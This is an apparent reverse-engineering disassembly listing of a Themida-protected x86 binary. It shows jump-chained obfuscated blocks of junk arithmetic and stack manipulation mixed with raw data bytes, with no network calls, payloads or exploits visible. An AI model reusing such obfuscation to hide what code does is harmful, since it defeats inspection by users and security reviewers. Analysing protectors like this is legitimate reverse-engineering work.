		jmp	loc_552264
; ---------------------------------------------------------------------------

loc_561F20:				; CODE XREF: Themida_:00555321j
		mov	esi, 26F0161Ah
		xor	esi, edi
		pop	edi
		xor	esi, 39802F39h
		dec	esi
		xor	esi, 7C0960B7h
		add	edi, esi
		jmp	loc_550F8A
; ---------------------------------------------------------------------------
aYh5		db 'Yh$5',0
		align 2
		dw 489h
		dd 0EC685624h, 5E39F655h, 1B62C681h, 0C6814D18h, 0FFFFFFFFh
		dd 0FF9441E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561F5D:				; CODE XREF: Themida_:00554AF0j
		push	esi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	esi
		and	ebx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ecx
		jmp	loc_554656
; ---------------------------------------------------------------------------
		dd 24148966h, 1E11E9h, 803AB100h, 0C828B2E9h, 0A2B3E959h
		dd 0C781FFFFh, 1, 3265C781h, 515376A2h,	6B4378B9h, 39BD5577h
		dd 890A212Ah, 242C8BEBh, 4C481h, 0CB310000h, 1F15E9h, 50F58900h
		dd 0C789E889h, 0FF8E91E9h, 87D631FFh, 0E702E9F2h, 0DA29FFFEh
		dd 6DC5C281h, 34FF503Bh, 7439E924h, 8B66FFFFh, 6857240Ch
		dd 164Bh, 81242489h, 4ECh, 24148900h, 4BF57h, 0FA890000h
		dd 4AEAE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56200A:				; CODE XREF: Themida_:00565574j
		add	eax, esi
		add	eax, 4C247E1h
		mov	esi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_564A0F
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0E95F5424h, 0FFFF55B2h, 8924248Bh, 4832424h,	7FE90424h
		dd 83FFFF3Dh, 148704C2h, 0C4815C24h, 4,	0F1E9DA01h, 33FFFF96h
		dd 14312414h, 24143324h, 0EC81555Ch, 4,	0FFF382E9h, 2C481FFh
		dd 0E9000000h, 0FFFF921Bh, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 0C895C24h, 8F42E924h, 0C481FFFFh, 4,	0FF90C7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562095:				; CODE XREF: Themida_:0055E6A8j
		add	ebp, edx
		sub	ebp, 3AFD160Dh
		pop	edx
		push	edi
		push	7D6A3ACCh
		pop	edi
		not	edi
		add	edi, 0CB8F6E13h
		sub	ebp, edi
		pop	edi
		add	esi, ebp
		jmp	loc_55200C
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 8879E900h, 0C381FFFFh,	4, 4EB81h, 1C870000h, 8F545C24h
		dd 8FE92404h, 5AFFFFDEh, 0E924348Bh, 0FFFF04B4h, 0E22837B4h
		dd 0E9D02858h, 0FFFF707Bh, 6617CE81h, 0C6817183h, 0DB7CE540h
		dd 0FFE29AE9h, 405FFh, 2050000h, 87000000h, 285C2404h
		dd 6CF1E9D8h, 248BFFFFh, 0AE8C124h, 0B468C831h,	89000071h
		dd 14F72404h, 0DC2AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56212E:				; CODE XREF: Themida_:00550564j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 5D8D63DDh
		shr	edx, 2
		shl	edx, 3
		jmp	loc_55EF5B
; ---------------------------------------------------------------------------

loc_562143:				; CODE XREF: Themida_:0055F5F5j
		shr	ecx, 5
		xor	ecx, 66832C1Ah
		neg	ecx
		sub	ecx, 3D1FB1EEh
		xor	ebp, ecx
		jmp	loc_55E68D
; ---------------------------------------------------------------------------
		db 1
		dd 0C4A4E9FEh, 0E589FFFFh, 4C581h, 0C5830000h, 242C8704h
		dd 0FFC870E9h, 1BF57FFh, 89000000h, 0CA295FF9h,	0E46BE959h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_562186:				; CODE XREF: Themida_:00560E6Bj
		push	dword ptr [esp]
		jmp	loc_55E8DD
; ---------------------------------------------------------------------------
		dw 3868h
		dd 89000010h, 74FF2404h, 8F580424h, 545C2404h, 8124048Fh
		dd 4ECh, 242C8900h, 89E95156h, 66000027h, 68240C8Bh, 1190h
		dd 68242C89h, 1619h, 53242489h,	4BBh, 24448100h, 631C5104h
		dd 0E560E96Bh, 8956FFFEh, 4C681E6h, 83000000h, 348704C6h
		dd 0C6815C24h, 4, 710E9h, 0EA815B00h, 119C62BCh, 527CC281h
		dd 0DA297747h, 527CB951h, 0CA297747h, 0BCC28159h, 5B119C62h
		dd 0C281FA01h, 3F406E85h, 81243C8Bh, 4C4h, 24143300h, 33241431h
		dd 0E95C2414h, 0FFFEFBFFh, 0B3242C81h, 0E9344D76h, 0FFFF1C90h
; ---------------------------------------------------------------------------

loc_562240:				; CODE XREF: Themida_:0055B399j
		mov	edi, [esp]
		push	ebp
		jmp	loc_551E3C
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0Ah
		dd 124C6C0h, 24348BF3h,	0E904C483h, 0FFFF2FFDh,	241C895Ch
		dd 0D967F5BBh, 4DBD556Fh, 0C10E8310h, 0DDF704E5h, 0DBF7DD87h
		dd 0E5C1DD87h, 0E3ED8107h, 9C24328h, 57555DEBh,	0D0019F68h
		dd 0EF815F47h, 0C81E99DEh, 295FFD89h, 0AC1E9EBh, 0C5810000h
		dd 8BF3020h, 2BEBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5622A5:				; CODE XREF: Themida_:0055472Ej
		xchg	ecx, ebp
		jmp	loc_55B05B
; ---------------------------------------------------------------------------

loc_5622AC:				; CODE XREF: Themida_:0055F9CFj
		or	eax, eax
		jmp	loc_553BE7
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 81000000h,	4EBh, 9901E900h, 6855FFFFh, 5A3C7AECh
		dd 0FF7C3EE9h, 5B5853FFh, 48BC731h, 0E7895724h,	0FFC715E9h
		dd 66F328FFh, 5BDD085Ah, 0E580DDF6h, 0E9C5FE6Fh, 0FFFF8E15h
		dd 0AF788ABFh, 5FFB016Ah, 6BE9D801h, 5FFFF38h, 379F4D84h
		dd 842DF001h, 5E379F4Dh, 8B240487h, 0CC682424h,	89000024h
		dd 5E542434h, 8904EC83h, 4BB241Ch, 1000000h, 0A2E95BDEh
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_562333:				; CODE XREF: Themida_:00561EA4j
		xor	dl, 0E9h
		and	bl, dl
		pop	edx
		neg	bl
		push	5D4Ah
		mov	[esp], eax
		jmp	loc_55E4B3
; ---------------------------------------------------------------------------
		dd 8B5AD000h, 3A682414h, 8900007Eh, 0E789243Ch,	4C781h
		dd 0BB530000h, 4, 1C8BDF01h, 4C48324h, 0FFC126E9h, 0D1C781FFh
		dd 0E941652Eh, 0FFFF60DCh, 4244481h, 36541276h,	0FEFE11E9h
		dd 4EC83FFh, 88241489h,	5AD588C2h, 0FFEFADE9h, 241489FFh
		dd 53768h, 24248900h, 46857h, 15F0000h,	5F04247Ch, 8324148Bh
		dd 0B95104C4h, 4, 5CF3BF57h, 0E7C13DA2h, 8A1FE904h, 4BBFFFFh
		dd 1000000h, 4875BD8h, 54575C24h, 0FF47BDE9h, 4EC81FFh
		dd 89000000h, 0C0BD242Ch, 8151DA49h, 5691AF5h, 34ED815Dh
		dd 0F73E7C7Dh, 5BF581D5h, 0E9319D5Ch, 2277h, 0F935D8F7h
		dd 9D7B69Bh, 3DE958C2h,	1FFFF6Ah, 36E95EF7h, 81FFFF0Dh
		dd 188617C2h, 0E9D001F4h, 0FFFF5646h, 31E9D6F7h, 89FFFEE3h
		dd 0BA522404h, 80h, 685AD089h, 16BDh, 89242C89h, 0E9EE89C5h
		dd 0FFFF6D40h, 0BB241C89h, 7168175Ch, 8107EBC1h, 0C95332C3h
		dd 0F7DBF736h, 0C768E9D3h, 0FE59FFFFh, 8BC688C0h, 0C4832404h
		dd 793AE904h, 0E3C1FFFFh, 96E6803h, 0FCE90000h,	5EFFFFDFh
		dd 8904EC83h, 0EC83241Ch, 24048904h, 53826851h,	81590EB0h
		dd 3C6B2EF1h, 47EE977h,	6657FFFFh, 66057FBFh, 0DFF7664Fh
		dd 4FF78166h, 0F93166FFh, 0C281665Fh, 16642BDh,	0EA8166CAh
		dd 0C8B42BDh, 4C48324h,	4EAC166h, 15ECE951h, 0DAF70000h
		dd 97BF281h, 0F28102C1h, 7D276394h, 9544C281h, 0D0294255h
		dd 5CFE95Ah, 6C81FFFFh,	1C510424h, 1C8B6B63h, 4C48124h
		dd 8B000000h, 0E8E9242Ch, 81FFFF4Bh, 0A94200C5h, 5E5C165h
		dd 55A0C581h, 0EB09C36Bh, 81D3F75Dh, 6204EDF3h,	5BD801DEh
		dd 0B8D685Ah, 0D8E90000h, 0B8FFFF24h, 48F42A46h, 0F2E9C131h
		dd 68FFFFE4h, 204E185Ch, 0B7C98159h, 8164C872h,	0DD001DE9h
		dd 0DEE98116h, 894DF17Ah, 0C10159C8h, 8324048Bh, 0EC8104C4h
		dd 4, 0FF240C89h, 0FF042474h, 83592434h, 48F04C4h, 24248B24h
		dd 2480E9h, 0B70F5C00h,	595451C8h, 3C60BF57h, 0E7C12E66h
		dd 1EF8103h, 83000000h,	1C8904ECh, 0E688E924h, 0FA00FFFEh
		dd 80EA285Bh, 0CCE912EAh, 89FFFF10h, 0DDE92404h, 5BFFFEE9h
		dd 0FF137AE9h, 241C87FFh, 240C895Ch, 4B9h, 0ACBD5500h
		dd 4D06151Bh, 4CE95056h, 81FFFFADh, 4C4h, 0B4D4E900h, 0D328FFFFh
		dd 80C3005Ah, 34E965C3h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5625EB:				; CODE XREF: Themida_:00551659j
		sub	ebx, 44076AADh
		add	ebx, eax
		add	ebx, 44076AADh
		pop	eax
		sub	ebx, eax
		sub	ebx, 7EB73787h
		sub	ebx, 2E776209h
		sub	ebx, 53262252h
		push	ecx
		push	4EF4h
		mov	[esp], esi
		mov	esi, 589120BDh
		jmp	loc_557527
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D7010000h, 0E924148Bh, 0FFFFD162h, 244DC4BAh, 81DAF704h
		dd 65AEEBEAh, 5AD589F8h, 815DEA21h, 250BE7CAh, 0F83DE933h
		dd 0E2C1FFFEh, 0E8F28102h, 0C103D16Ch, 574207E2h, 0C14211BFh
		dd 0E2C78151h, 81370A76h, 4D4756CFh, 4FEF815Ch,	0F7447019h
		dd 12C2E9DFh, 489FFFFh,	260F6824h, 14890000h, 8FAEE924h
		dd 0E958FFFFh, 0FFFF2612h, 5C242C87h, 9C242CD3h, 0FEDD83E9h
		dd 81CA29FFh, 836982EAh, 5FBF573Ah, 2949B951h, 81595FFAh
		dd 0A439C0C2h, 3A77E95Bh, 0C89FFFFh, 6D66B924h,	0CF015D44h
		dd 0F8A4E959h, 348BFFFEh, 4C48124h, 81000000h, 4C3h, 241C8700h
		dd 0FF2A25E9h, 240C31FFh, 5C240C33h, 51242489h,	62986855h
		dd 815D0274h, 0AE7E1AE5h, 1CF58116h, 89022462h,	4C015DE9h
		dd 0E9590424h, 0FFFF059Ch, 5C240C87h, 0FF774AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562715:				; CODE XREF: Themida_:0055DBADj
		sub	esp, 4
		jmp	loc_55635A
; ---------------------------------------------------------------------------
aBFx		db 'Ĺ^Fx',0
		dw 0ED81h
		dd 2789041Dh, 711268h, 24348900h, 207D6BBEh, 2EEC136h
		dd 0B6BB5346h, 0E977627Fh, 0FFFEEF35h, 4247C31h, 24048B5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554617
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 0E0C4E940h, 2105FFFFh, 0E92DC754h, 0FFFF2257h, 1BC1EA81h
		dd 73E97C05h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56277B:				; CODE XREF: Themida_:00551100j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55F7AA
; ---------------------------------------------------------------------------
		dd 88F88850h, 885358C5h, 5BDA88EBh, 83240C8Bh, 56E904C4h
		dd 0C1FFFFC8h, 0A56805EBh, 89000061h, 62BD242Ch, 0C173EE29h
		dd 0D5F703E5h, 0B850DDF7h, 104A2E22h, 8158C501h, 119F8DC5h
		dd 160CE95Fh, 14870000h, 0C3315C24h, 390A68h, 24048900h
		dd 8B2434FFh, 0A5E92414h, 0C1FFFF20h, 0BA5205EBh, 56991150h
		dd 0E9534A4Ah, 0FFFF162Fh
; ---------------------------------------------------------------------------

loc_5627F8:				; CODE XREF: Themida_:0055F63Bj
		push	4A7D2E6Fh
		pop	edi
		jmp	loc_552355
; ---------------------------------------------------------------------------
		db 0F6h
		dd 650BE9DAh, 0D031FFFFh, 0D031C231h, 4EC81h, 14890000h
		dd 1B95124h, 0E9000000h, 0FFFF8D8Eh, 4BF5758h, 1000000h
		dd 2434FFF8h, 4C4815Fh,	0E9000000h, 0FFFFAA49h,	528F2CACh
		dd 0D1068h, 241C8900h, 0FFE236E9h, 4C483FFh, 2BA52h, 0D5010000h
		dd 242C875Ah, 0D324248Bh, 0E99C2424h, 0FFFEDBB8h, 0FEDBB3E9h
		dd 14E952FFh, 52FFFF5Ch, 0FF0FB9E9h, 0C4835AFFh, 0DB9EE904h
		dd 0FF59FFFEh, 51582434h, 0C181E189h, 4, 8704C183h, 5A5C240Ch
		dd 78C968h, 24048900h, 219ABF57h, 49E97E21h, 8BFFFFA9h
		dd 0C481240Ch, 4, 5E28B850h, 0C1216294h, 8124048Bh, 4C4h
		dd 1E8CE900h, 8B660000h, 31682404h, 89000003h, 6768242Ch
		dd 53000039h, 0C381E389h, 4, 8704EB83h,	895C241Ch, 89562424h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 532E9h, 4EE8100h
		dd 68000000h, 360Fh, 0FF243489h, 0FF042474h, 0E95E2434h
		dd 0FFFEDD94h
; ---------------------------------------------------------------------------

loc_562920:				; CODE XREF: Themida_:00562F21j
		pop	ecx
		pop	edx
		add	ecx, 0FFFFFFFFh
		jmp	loc_55DB41
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 140Eh, 0FEDAEBE9h, 2434FFFFh, 0FF5596E9h, 4EC83FFh
		dd 0E9243C89h, 0FFFF0E43h, 85C3E95Ch, 489FFFFh,	217AB824h
		dd 1050A67h, 0C1000000h, 0CE2D05E0h, 0C1341537h, 685105E8h
		dd 66AE014Ah, 0FF2CDFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562971:				; CODE XREF: Themida_:00555857j
		push	edi
		mov	edi, 5AE64CABh
		push	ebx
		mov	ebx, 0A8340E0h
		push	ebp
		mov	ebp, 50650C47h
		xor	ebx, ebp
		pop	ebp
		sub	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5535E4
; ---------------------------------------------------------------------------
		db 81h
		dd 0CED597C5h, 4A9DE9BDh, 2BEFFFFh, 1000000h, 24348BF7h
		dd 4C481h, 0DE90000h, 81FFFF6Dh, 2C0A37EBh, 50FB2934h
		dd 4A4752B8h, 82E94862h, 5A000031h, 15EF789h, 1C875FFBh
		dd 5A685C24h, 8900004Ah, 89512434h, 4C181E1h, 56000000h
		dd 4BEh, 5EF12900h, 0E9240C87h,	0FFFF08FCh, 8124048Fh
		dd 42404h, 34FF0000h, 81505824h, 4ECh, 24248900h, 4240481h
		dd 58000000h, 405h, 40500h, 4330000h, 0CDC1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562A36:				; CODE XREF: Themida_:005615E6j
		pop	esp
		push	ecx
		jmp	loc_552BEA
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 87E92414h, 87FFFEFCh, 0E8E92404h,	21FFFF79h
		dd 4B055EF0h, 31CD2787h, 67A4E9C5h, 3C8BFFFFh, 4C48324h
		dd 0E92434FFh, 0FFFF1FF5h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 793E924h, 285C0000h,	2434FFD8h, 17E2E95Bh, 0CB290000h
		dd 4138C381h, 0C8B77B9h, 4C48324h, 34E9008Fh, 8100000Ch
		dd 1D3A16F5h, 4EC8328h,	0E9243C89h, 0FFFFE5AFh,	4240483h
		dd 8324048Bh, 40504C4h,	0E9000000h, 0FFFFAA4Dh,	4ED4EB81h
		dd 0F3011D30h, 4ED4C381h, 348B1D30h, 4C48124h, 55000000h
		dd 0FF5E5CE9h, 2434FFFFh, 0E92434FFh, 0FFFFB27Eh, 2434875Ah
		dd 7E9C15Ch, 7BED68h, 241C8900h, 81E18951h, 4C1h, 4BE5600h
		dd 0E9000000h, 0FFFF9163h, 0ED04D028h, 4D6045Ah, 0E97D2C1Bh
		dd 0FFFF3E7Bh, 703FE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562B2E:				; CODE XREF: Themida_:005610E8j
		pop	ecx
		jmp	loc_55A6F1
; ---------------------------------------------------------------------------
		dd 9C241CF6h, 0FED8E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562B3D:				; CODE XREF: Themida_:0055B7F6j
		push	187Fh
		jmp	loc_555EDE
; ---------------------------------------------------------------------------

loc_562B47:				; CODE XREF: Themida_:00555EF7j
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_5558E5
; ---------------------------------------------------------------------------
		dd 0D6C4C781h, 0FA01559Eh, 0B116E95Fh, 0C87FFFFh, 24248B24h
		dd 54241489h, 0E92434FFh, 2B8h,	5104EAC1h, 0FEE7BBE9h
		dd 0E95A66FFh, 0FFFF5943h
; ---------------------------------------------------------------------------

loc_562B80:				; CODE XREF: Themida_:0055CD4Ej
		push	eax
		jmp	loc_557E7F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54502404h, 0E924048Bh, 0FFFF11E6h, 58C6015Bh, 0FFBE27E9h
		dd 17BD55FFh, 0C101AA7Fh, 0C58106E5h, 0FFFFFFFFh, 26E9DDF7h
		dd 64000022h, 7E932FFh,	5BFFFF09h, 0E9240C8Bh, 0FFFF2D76h
		dd 0E95FFB29h, 0FFFFA01Ch, 0E288FC88h, 0EA805B58h, 68CAFEF8h
		dd 0
		dd 0BD242C80h, 0FF3AB1E9h, 4C481FFh, 56000000h,	0C681E689h
		dd 4, 0E904C683h, 0FFFF8CB2h, 8B240433h, 4892424h, 0D816E924h
		dd 0E959FFFEh, 0FFFF5B6Fh, 34FF5453h, 0C4835B24h, 4C38104h
		dd 56000000h, 4BEh, 7040E900h, 8142FFFFh, 9A3C25E2h, 43DA8712h
		dd 0FEFDB7E9h, 0E8CE81FFh, 81160552h, 3B4F13F6h, 8BF28942h
		dd 89512434h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 1DEA815Ch
		dd 815A6114h, 3CDB21C2h, 35E9521Ch
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562C6F:				; CODE XREF: Themida_:0055EDC5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebx
		push	eax
		jmp	loc_559CF4
; ---------------------------------------------------------------------------

loc_562C8D:				; CODE XREF: Themida_:005577BBj
		pop	esp
		mov	[esp], ebx
		push	3F85h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_555D5E
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0FF290DE9h, 4BD55FFh, 0E9000000h, 0FFFFACFCh
; ---------------------------------------------------------------------------

loc_562CC4:				; CODE XREF: Themida_:00553983j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, 5FF45C55h
		jmp	loc_55C0B0
; ---------------------------------------------------------------------------

loc_562CF0:				; CODE XREF: Themida_:0055782Ej
		add	eax, 0BC794415h
		mov	edx, eax
		pop	eax
		jmp	loc_55247B
; ---------------------------------------------------------------------------
		db 0B2h, 0FFh, 0
		dd 0FE73E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562D06:				; CODE XREF: Themida_:0055C8CAj
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_561812
; ---------------------------------------------------------------------------

loc_562D1B:				; CODE XREF: Themida_:0055A699j
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 27BD05BCh
		add	eax, ebp
		add	eax, 27BD05BCh
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	edx
		push	ecx
		push	edx
		push	20010C82h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55E631
; ---------------------------------------------------------------------------
		db 5Dh
		dd 6C3FBE56h, 0CE8140A3h, 519B52B2h, 0FFE259E9h, 57E780FFh
		dd 0EF80CFFEh, 16C180E9h, 0E980F928h, 0E9805B16h, 18F180FFh
		dd 0E93EF180h, 0FFFF9180h, 0EC81C388h, 4, 52240489h, 0D088DA88h
		dd 13FCE95Ah, 77FF0000h, 58669D1Ch, 9C240418h, 0FED66FE9h
		dd 0C4815BFFh, 4, 6421E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562DBE:				; CODE XREF: Themida_:0056486Cj
		shr	ecx, 5
		jmp	loc_55B7A0
; ---------------------------------------------------------------------------
		dw 91BFh
		dd 0E97BBC29h, 0FFFF2FF9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55DCB5
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 348904ECh, 815E5424h, 4C6h, 4C68300h, 5C243487h
		dd 0FEF56EE9h, 24D8F6FFh, 0C08C0C6Ah, 29E903E0h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562E03:				; CODE XREF: Themida_:005573F5j
		add	edi, 6FA0563Ah
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_557A01
; ---------------------------------------------------------------------------
		dw 0DC68h
		dd 0E900000Ah, 27C3h, 4C4835Ah,	4C281h,	0DCE90000h, 5CFFFFD3h
		dd 0BD242C89h, 4, 7238BF57h, 7C294A4Dh,	15F0824h, 8104246Ch
		dd 38042444h, 5D4A4D72h, 5524048Fh, 4BDh, 24448100h, 0E93EED04h
		dd 246C013Ch, 246C8104h, 0E93EED04h, 0EBE95D3Ch, 8BFFFF30h
		dd 34892424h, 1B85024h,	2915FE03h, 0E9042444h, 0FFFFBBADh
		dd 405E089h, 0E9000000h, 0FFFEE88Eh, 0E924048Bh, 0FFFF2F9Ch
		dd 7B54F681h, 0F0291021h, 2514E95Eh, 0C8BFFFFh,	1BE8E924h
		dd 148B0000h, 0A160E924h, 8B5EFFFFh, 0EC812404h, 4, 89240C89h
		dd 4EC83E1h, 0BE243489h, 4, 0FFE3F3E9h,	54CFBDFFh, 65E93B96h
		dd 81FFFEE0h, 6653FBCAh, 0CCEA8106h, 8920F968h,	2434FFD1h
		dd 4C4835Ah, 0E908E1C1h, 0FFFEDB2Fh, 815BDE29h,	0D136E9E6h
		dd 5E6C125h, 0FF1FDFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562F19:				; CODE XREF: Themida_:00557895j
		push	3CD5h
		mov	[esp], edx
		jmp	loc_562920
; ---------------------------------------------------------------------------
		dw 0C129h
		dd 64572D58h, 0C80119B8h, 0FF345BE9h, 34FF5AFFh, 2434FF24h
		dd 8324048Bh, 895004C4h, 405E0h, 4050000h, 87000000h, 0AE92404h
		dd 5AFFFF2Bh, 0EBC1D3F7h, 7BEB8105h, 4B012A6Bh,	16FEEB81h
		dd 0DF010432h, 108CE9h,	6CEF8100h, 31BB0FE7h, 0C6815FFAh
		dd 3E0C312Fh, 0FFC213E9h, 6CE168FFh, 0C890000h,	9166824h
		dd 1C890000h, 0B4B9E924h, 8159FFFFh, 4C7h, 74FF5700h, 8F5F0424h
		dd 248B2404h, 0BA23E924h, 0EF81FFFFh, 4, 8B243C87h, 4892424h
		dd 4EC8124h, 0E9000000h, 0FFFFE71Fh, 4C381h, 0BF570000h
		dd 6DA43D8Eh, 0C276C781h, 0FB29925Bh, 241C875Fh, 241C895Ch
		dd 0FFDE83E9h, 2414F7FFh, 8324348Bh, 0CBE904C4h, 59FFFF46h
		dd 0E9242C33h, 70h, 84E9815Ah, 686E2975h, 6F7Bh, 0FF8164E9h
		dd 7AC681FFh, 8989D7ECh, 47095EF0h, 2434FF1Ch, 85F0E958h
		dd 0EF21FFFFh, 0D7F74F5Dh, 18F1E781h, 36E92DFDh, 43FFFFF3h
		dd 9128C381h, 0DD3136D5h, 4FE9525Bh, 0FFFFF7Ch,	34FFC0B6h
		dd 0D3CAE987h, 0C181FFFEh, 4, 0FFBC85E9h, 0E9AD2CFFh, 0FFFEFDD9h
; ---------------------------------------------------------------------------

loc_563068:				; CODE XREF: Themida_:00558B36j
		xchg	ebp, [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dd 33242C31h, 248B242Ch, 14896624h, 9C506624h, 0FED397E9h
		dd 80BA52FFh, 81291168h, 714038F2h, 0B090E91Fh,	0B353FFFFh
		dd 40CB80EDh, 0C022E380h, 0F38008E3h, 66E5E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5630AE:				; CODE XREF: Themida_:0055D97Aj
		pop	ebx
		add	ebx, 1
		add	ebx, 4A78ACD6h
		push	eax
		mov	eax, ebx
		jmp	loc_565199
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B2434FFh, 0C3E9240Ch, 0CFFFF60h, 22F7E983h,	815BFFFFh
		dd 9A08F1C5h, 0A1ED812Ch, 0E9E7E9EDh, 0FFFF0F9Ch, 0B1705135h
		dd 0C3BF5727h, 0E93DD043h, 0FFFF4E6Fh, 7129E781h, 81474BE3h
		dd 828504F7h, 5CBB5365h, 291E9714h, 122D5BD8h, 1196957h
		dd 571205F8h, 5C051969h, 0E91E9714h, 0FFFEEA05h, 4BE2C281h
		dd 0CA014EC2h, 4BE2EA81h, 0C2814EC2h, 4AD94751h, 8B2434FFh
		dd 0E957240Ch, 0BA7h
; ---------------------------------------------------------------------------

loc_563144:				; CODE XREF: Themida_:0055B201j
		dec	edx
		shl	edx, 7
		jmp	loc_55120A
; ---------------------------------------------------------------------------
		db 0BDh, 92h, 26h
		dd 0D3E964ADh, 81FFFFFEh, 4EBh,	241C8700h, 2414895Ch, 0FF2FA6E9h
		dd 0B1F280FFh, 5AD788h,	996E9FEh, 0C4830000h, 8940E904h
		dd 68FFFFh, 29000000h, 77E92404h, 0C0FFFF65h, 0EE8004EEh
		dd 5AF000E3h, 0B4505266h, 0F6ECD0F0h, 3FCC80D4h, 0E4C0CCFEh
		dd 72F2E908h, 5A5BFFFFh, 2449E950h, 0CE01FFFFh,	0FF8854E9h
		dd 240C33FFh, 33240C31h, 895C240Ch, 74FF2414h, 148B0424h
		dd 4C48124h, 8F000000h,	248B2404h, 4016624h, 3DE99C24h
		db 0D2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5631E3:				; CODE XREF: Themida_:0055FDACj
		mov	edx, 67E41EFEh
		mov	esi, edx
		pop	edx
		mov	eax, 4C89C102h
		add	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		mov	ebp, edx
		jmp	loc_557EAD
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0CCh
		db 0D7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563203:				; CODE XREF: Themida_:00561AD0j
		add	ebp, 720A277Ah
		push	eax
		mov	eax, 0B1CD4DC8h
		add	ebp, eax
		pop	eax
		add	edi, ebp
		jmp	loc_563F0C
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
		dd 8EB4E924h, 433FFFFh,	24043124h, 5C240433h, 0FF5343E9h
		dd 7FF281FFh, 2939EC53h, 34FF5AD3h, 24348B24h, 8104C483h
		dd 4C4h, 241C3300h, 33241C31h, 248B241Ch, 0A2E95024h, 89FFFF0Fh
		dd 0C6295BD8h, 24343358h, 33243431h, 665C2434h,	0E9240C89h
		dd 0FFFF240Eh, 6FE7F681h, 0F3014253h, 0E9DF295Eh, 0FFFF787Ch
		dd 4BF57h, 0FA010000h, 74FF525Fh, 8F5A0424h, 0E95C2404h
		dd 0FFFFBDA8h, 343CE956h, 0C681FFFFh, 4, 8704C683h, 0E95C2434h
		dd 0FFFFDF58h, 31242C33h, 2C33242Ch, 4295C24h, 59E99C24h
		dd 29FFFED1h, 6B2BE9EBh, 0EBC1FFFFh, 81E3D107h,	3B3C6AEBh
		dd 31D82DDBh, 0C3053F3Fh, 11E407Ch, 12EE9D8h, 0FF540000h
		dd 835E2434h, 0A56804C4h, 89000019h, 0BD55240Ch, 4, 8CE9E989h
		dd 30FFFED3h, 0E406E9EFh, 0FAB8FFFEh, 0E91E635Eh, 567h
		dd 0AB11C30Dh, 1036053Eh, 3BE953BEh, 83FFFF94h,	0B7E904C4h
